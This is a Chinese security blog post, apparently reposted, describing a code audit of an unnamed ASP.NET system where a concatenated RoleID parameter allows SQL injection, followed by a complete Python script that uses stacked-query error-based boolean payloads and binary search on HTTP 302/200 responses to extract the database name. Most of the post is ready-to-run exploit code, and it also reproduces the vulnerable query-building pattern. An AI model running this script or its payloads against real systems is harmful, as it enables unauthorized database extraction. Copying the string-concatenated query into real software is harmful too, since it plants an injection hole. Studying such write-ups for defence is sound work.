利用页面回显来进行半自动化SQL注入

admin 2025-12-29 00:44:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲解了通过页面回显实现半自动化SQL注入的方法。针对某系统RoleID参数拼接导致的注入且SQLmap失效的情况,作者分析了HTTP状态码差异(报错302与正常200),利用报错布尔注入原理,并编写了基于二分法的Python脚本高效猜解数据库名,完整展示了从代码审计到利用脚本复现的攻防过程。 综合评分: 88 文章分类: 渗透测试,漏洞分析,代码审计,漏洞POC


cover_image

利用页面回显来进行半自动化SQL注入

原创

ptr

UpRoot

2025年12月24日 15:20 江苏

“对了就庆祝,错了就进步,人生的每一步都算数。”


经过一段时间的审计分析,定位到Admin_sysGroupUser.cs文件中存在一处source点。

外部传参id,赋值为hidRecordID.Value,后传入UserContext.getSelectedUser方法中。

跟进UserContext.getSelectedUser方法。

public static DataTable getSelectedUser(string roleId)
{
&nbsp; &nbsp;&nbsp;return&nbsp;DBAccess.ExecuteDataTable($"SELECT ID, UserName AS CName, '0' AS ParentID \r\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FROM GL_G04_User \r\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WHERE ID &nbsp;IN (SELECT UserID FROM GL_G09_RoleUser WHERE RoleID='{roleId}') &nbsp;AND ID <> '0'");
}

存在参数拼接造成sql注入。此处利用sqlmap一把梭无果。

基于此,我们可以构造如下poc:

先用延时判断存在注入:

因为是in注入,表中数据不同发现延时的时间也会不同,我们通过做差来判断。

0:0:5,是10秒

0:0:4,是8秒

0:0:2,是4秒

每次差值为2,基于此,我们可以判断该点存在注入。

当sql语句出错的时候,页面返回302,正常是200。

基于页面返回值的不同,那我们可以通过构造报错,来跑布尔,此法称为:报错布尔注入。

我第一版用了两个for循环来跑,很慢,后面给ai优化利用二分法写个脚本出来跑,时间复杂度相对较低。

import&nbsp;requests
import&nbsp;time
from requests.exceptions&nbsp;import&nbsp;RequestException

BASE_URL =&nbsp;'http://ip'
TARGET_URL = f"{BASE_URL}/xxxxxx/xxx.aspx"
PROXIES = {
&nbsp; &nbsp;&nbsp;"http":&nbsp;"http://127.0.0.1:8080",
&nbsp; &nbsp;&nbsp;"https":&nbsp;"http://127.0.0.1:8080"
}
REQUEST_DELAY =&nbsp;0.5
RETRY_TIMES =&nbsp;2
TIMEOUT =&nbsp;10

HEADERS = {
&nbsp; &nbsp;&nbsp;"User-Agent":&nbsp;"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
&nbsp; &nbsp;&nbsp;"Accept":&nbsp;"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
&nbsp; &nbsp;&nbsp;"Accept-Language":&nbsp;"zh-CN,zh;q=0.9,en;q=0.8"
}

def&nbsp;send_request(payload):
&nbsp; &nbsp; params&nbsp;= {"id": payload}
&nbsp; &nbsp;&nbsp;for&nbsp;retry in&nbsp;range(RETRY_TIMES +&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp&nbsp;= requests.get(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url=TARGET_URL,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params=params,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxies=PROXIES,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers=HEADERS,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allow_redirects=False,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=TIMEOUT,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; verify=False
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(REQUEST_DELAY)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;resp
&nbsp; &nbsp; &nbsp; &nbsp; except RequestException as e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"请求失败(重试{retry}/{RETRY_TIMES}):{e}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1)
&nbsp; &nbsp;&nbsp;returnNone

def&nbsp;get_db_length():
&nbsp; &nbsp;&nbsp;print("===== 开始猜解数据库名长度 =====")
&nbsp; &nbsp;&nbsp;for&nbsp;length in&nbsp;range(1,&nbsp;50):
&nbsp; &nbsp; &nbsp; &nbsp; payload&nbsp;= f"1');IF(LEN(db_name())={length}) SELECT 1/0 ELSE SELECT 1--"
&nbsp; &nbsp; &nbsp; &nbsp; resp = send_request(payload)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp and resp.status_code ==&nbsp;302:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"✅ 数据库名长度:{length}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;length
&nbsp; &nbsp;&nbsp;return0

def&nbsp;get_db_name(db_length):
&nbsp; &nbsp;&nbsp;print("\n===== 开始逐字符猜解数据库名 =====")
&nbsp; &nbsp; db_name&nbsp;=&nbsp;""
&nbsp; &nbsp;&nbsp;for&nbsp;pos in&nbsp;range(1, db_length +&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; low&nbsp;=&nbsp;32
&nbsp; &nbsp; &nbsp; &nbsp; high =&nbsp;127
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;low < high:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high)&nbsp;// 2
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f"1');IF(ASCII(SUBSTRING(db_name(),{pos},1))>{mid}) "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f"SELECT 1/0 ELSE SELECT 1--"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = send_request(payload)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp and resp.status_code ==&nbsp;302:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid

&nbsp; &nbsp; &nbsp; &nbsp; verify_payload = f"1');IF(ASCII(SUBSTRING(db_name(),{pos},1))={low}) SELECT 1/0 ELSE SELECT 1--"
&nbsp; &nbsp; &nbsp; &nbsp; verify_resp = send_request(verify_payload)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;verify_resp and verify_resp.status_code ==&nbsp;302:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;char&nbsp;= chr(low)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_name +=&nbsp;char
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"🔍 第{pos}位猜解完成:{char} | 当前结果:{db_name}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"❌ 第{pos}位字符猜解失败,终止流程")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; return db_name

if&nbsp;__name__&nbsp;==&nbsp;"__main__":
&nbsp; &nbsp; db_length = get_db_length()
&nbsp; &nbsp;&nbsp;if&nbsp;not db_length:
&nbsp; &nbsp; &nbsp; &nbsp; exit(1)

&nbsp; &nbsp; db_name = get_db_name(db_length)

&nbsp; &nbsp; print("\n===== 猜解完成 =====")
&nbsp; &nbsp; print(f"数据库名长度:{db_length}")
&nbsp; &nbsp; print(f"数据库名:{db_name if db_name else '猜解失败'}")

结果为:

– END –


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:UpRoot ptr《利用页面回显来进行半自动化SQL注入》

评论:0   参与:  0